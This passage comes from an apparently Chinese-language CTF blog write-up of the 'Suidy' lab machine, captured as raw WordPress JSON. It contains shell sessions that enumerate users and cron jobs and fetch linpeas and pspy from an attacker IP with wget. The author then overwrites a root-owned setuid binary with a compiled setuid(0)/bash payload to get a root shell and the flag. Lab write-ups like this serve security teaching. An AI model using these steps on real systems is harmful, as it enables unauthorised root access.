(admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\ntheuser:x:1000:1000:theuser,,,:\/home\/theuser:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nsuidy:x:1001:1001:,,,:\/home\/suidy:\/bin\/bash\nsshd:x:105:65534::\/run\/sshd:\/usr\/sbin\/nologin\ntheuser@suidy:~$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Es un directorio\ncat: \/etc\/cron.daily: Es un directorio\ncat: \/etc\/cron.hourly: Es un directorio\ncat: \/etc\/cron.monthly: Es un directorio\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# | .------------- hour (0 - 23)\n# | | .---------- day of month (1 - 31)\n# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...\n# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# | | | | |\n# * * * * * user-name command to be executed\n17 * * * * root cd \/ && run-parts --report \/etc\/cron.hourly\n25 6 * * * root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.daily )\n47 6 * * 7 root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.weekly )\n52 6 1 * * root test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.monthly )\n#\ncat: \/etc\/cron.weekly: Es un directorio\ntheuser@suidy:~$ crontab -l\nno crontab for theuser\ntheuser@suidy:~$ cd ..\ntheuser@suidy:\/home$ ls -la\ntotal 16\ndrwxr-xr-x 4 root root 4096 sep 26 2020 .\ndrwxr-xr-x 18 root root 4096 sep 26 2020 ..\ndrwxr-xr-x 3 suidy suidy 4096 sep 27 2020 suidy\ndrwxr-xr-x 3 theuser theuser 4096 sep 27 2020 theuser\ntheuser@suidy:\/home$ cd suidy\/\ntheuser@suidy:\/home\/suidy$ ls -la\ntotal 52\ndrwxr-xr-x 3 suidy suidy 4096 sep 27 2020 .\ndrwxr-xr-x 4 root root 4096 sep 26 2020 ..\n-rw------- 1 suidy suidy 12 sep 27 2020 .bash_history\n-rw-r--r-- 1 suidy suidy 220 sep 26 2020 .bash_logout\n-rw-r--r-- 1 suidy suidy 3526 sep 26 2020 .bashrc\ndrwxr-xr-x 3 suidy suidy 4096 sep 26 2020 .local\n-r--r----- 1 suidy suidy 197 sep 26 2020 note.txt\n-rw-r--r-- 1 suidy suidy 807 sep 26 2020 .profile\n-rwsrwsr-x 1 root theuser 16704 sep 26 2020 suidyyyyy\ntheuser@suidy:\/home\/suidy$ cat note.txt \ncat: note.txt: Permiso denegado\ntheuser@suidy:\/home\/suidy$ file suidyyyyy \nsuidyyyyy: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=a68ca005dccaf529f434e0408b05dc8614758fb7, not stripped<\/code><\/pre>\n\u4e0a\u4f20linpeas.sh\u3001pspy64<\/h3>\ntheuser@suidy:\/tmp$ wget http:\/\/192.168.0.143:8888\/linpeas.sh\n--2024-04-15 07:57:17-- http:\/\/192.168.0.143:8888\/linpeas.sh\nConectando con 192.168.0.143:8888... conectado.\nPetici\u00f3n HTTP enviada, esperando respuesta... 200 OK\nLongitud: 860549 (840K) [text\/x-sh]\nGrabando a: \u201clinpeas.sh\u201d\n\nlinpeas.sh 100%[=========================================================================>] 840,38K --.-KB\/s en 0,02s \n\n2024-04-15 07:57:17 (34,0 MB\/s) - \u201clinpeas.sh\u201d guardado [860549\/860549]\n\ntheuser@suidy:\/tmp$ wget http:\/\/192.168.0.143:8888\/pspy64s\n--2024-04-15 07:57:26-- http:\/\/192.168.0.143:8888\/pspy64s\nConectando con 192.168.0.143:8888... conectado.\nPetici\u00f3n HTTP enviada, esperando respuesta... 200 OK\nLongitud: 1233888 (1,2M) [application\/octet-stream]\nGrabando a: \u201cpspy64s\u201d\n\npspy64s 100%[=========================================================================>] 1,18M --.-KB\/s en 0,04s \n\n2024-04-15 07:57:26 (33,6 MB\/s) - \u201cpspy64s\u201d guardado [1233888\/1233888]\n\ntheuser@suidy:\/tmp$ chmod +x *\nchmod: cambiando los permisos de 'systemd-private-ebfd680b7996475d989587a3e3652f04-systemd-timesyncd.service-XnGwMV': Operaci\u00f3n no permitida<\/code><\/pre>\n<\/div><\/p>\ntheuser@suidy:\/tmp$ .\/pspy64s\n.\/pspy64s: \/lib\/x86_64-linux-gnu\/libc.so.6: version `GLIBC_2.32' not found (required by .\/pspy64s)\n.\/pspy64s: \/lib\/x86_64-linux-gnu\/libc.so.6: version `GLIBC_2.34' not found (required by .\/pspy64s)\ntheuser@suidy:\/tmp$ wget http:\/\/192.168.0.143:8888\/pspy64\n--2024-04-15 08:00:31-- http:\/\/192.168.0.143:8888\/pspy64\nConectando con 192.168.0.143:8888... conectado.\nPetici\u00f3n HTTP enviada, esperando respuesta... 200 OK\nLongitud: 4468984 (4,3M) [application\/octet-stream]\nGrabando a: \u201cpspy64\u201d\n\npspy64 100%[=========================================================================>] 4,26M 24,1MB\/s en 0,2s \n2024-04-15 08:00:31 (24,1 MB\/s) - \u201cpspy64\u201d guardado [4468984\/4468984]\n\ntheuser@suidy:\/tmp$ chmod +x pspy64\ntheuser@suidy:\/tmp$ .\/pspy64<\/code><\/pre>\n\u53d1\u73b01\u5206\u949f\u4e00\u6b21\u7684\u5b9a\u65f6\u4efb\u52a1\uff1a<\/p>\n
<\/div><\/p>\n\u5c1d\u8bd5\u8986\u76d6\u8fd9\u4e2asuidyyyyy<\/code>\u6587\u4ef6\u770b\u770b\u4f1a\u4e0d\u4f1a\u88ab\u89e6\u53d1\uff1a<\/p>\n# include <stdio.h>\nint main() { \n setuid(0);\n setgid(0);\n system("\/bin\/bash");\n}<\/code><\/pre>\n<\/div><\/p>\n# include <stdio.h>\n# include <unistd.h>\nint main() { \n setuid(0);\n setgid(0);\n system("\/bin\/bash");\n}<\/code><\/pre>\n\u66ff\u6362\u8fd0\u884c\u62ff\u5230flag\uff01<\/p>\n
theuser@suidy:\/tmp$ vi exp.c\ntheuser@suidy:\/tmp$ head exp.c \n# include <stdio.h>\n# include <unistd.h>\nint main() { \n setuid(0);\n setgid(0);\n system("\/bin\/bash");\n}\ntheuser@suidy:\/tmp$ gcc exp.c -o suidyyyyy\nexp.c: In function \u2018main\u2019:\nexp.c:6:2: warning: implicit declaration of function \u2018system\u2019 [-Wimplicit-function-declaration]\n system("\/bin\/bash");\n ^~~~~~\ntheuser@suidy:\/tmp$ ls\nexp.c linpeas.sh pspy64 pspy64s suidyyyyy systemd-private-ebfd680b7996475d989587a3e3652f04-systemd-timesyncd.service-XnGwMV\ntheuser@suidy:\/tmp$ cp suidyyyyy \/home\/suidy\/suidyyyyy\ntheuser@suidy:\/tmp$ cd \/home\/suidy\ntheuser@suidy:\/home\/suidy$ ls -la\ntotal 52\ndrwxr-xr-x 3 suidy suidy 4096 sep 27 2020 .\ndrwxr-xr-x 4 root root 4096 sep 26 2020 ..\n-rw------- 1 suidy suidy 12 sep 27 2020 .bash_history\n-rw-r--r-- 1 suidy suidy 220 sep 26 2020 .bash_logout\n-rw-r--r-- 1 suidy suidy 3526 sep 26 2020 .bashrc\ndrwxr-xr-x 3 suidy suidy 4096 sep 26 2020 .local\n-r--r----- 1 suidy suidy 197 sep 26 2020 note.txt\n-rw-r--r-- 1 suidy suidy 807 sep 26 2020 .profile\n-rwxrwxr-x 1 root theuser 16712 abr 15 08:11 suidyyyyy\ntheuser@suidy:\/home\/suidy$ file suidyyyyy \nsuidyyyyy: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=2fdf59b701e014500ae2cbfc1d11e8521e114ace, not stripped\ntheuser@suidy:\/home\/suidy$ .\/suidyyyyy \nroot@suidy:\/home\/suidy# whoami;id\nroot\nuid=0(root) gid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(theuser)\nroot@suidy:\/home\/suidy# cd \/root\nroot@suidy:\/root# ls -la\ntotal 32\ndrwx------ 3 root root 4096 sep 27 2020 .\ndrwxr-xr-x 18 root root 4096 sep 26 2020 ..\n-rw------- 1 root root 44 sep 27 2020 .bash_history\ndrwxr-xr-x 3 root root 4096 sep 26 2020 .local\n-rw-r--r-- 1 root root 148 ago 17 2015 .profile\n-rw-r--r-- 1 root root 11 sep 27 2020 root.txt\n-rw-r--r-- 1 root root 66 sep 26 2020 .selected_editor\n-rwxr-xr-x 1 root root 42 sep 26 2020 timer.sh\nroot@suidy:\/root# cat root.txt \nHMV0000EVE\nroot@suidy:\/root# cat timer.sh \n#!\/bin\/sh\nchmod +s \/home\/suidy\/suidyyyyy<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Suidy \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 192.168.0.108 — -A Open 19 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-565","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/565","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=565"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/565\/revisions"}],"predecessor-version":[{"id":566,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/565\/revisions\/566"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=565"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20240415133813517\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404151412152.png\")
<\/div>![\"image-20240415133828185\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404151412153.png\")
<\/div><\/p>\n![\"image-20240415134311560\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404151412154.png\")
<\/div><\/p>\n![\"image-20240415135948488\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404151412155.png\")
<\/div><\/p>\n![\"image-20240415140310818\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404151412156.png\")
<\/div><\/p>\n![\"image-20240415140951906\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404151412157.png\")
<\/div><\/p>\n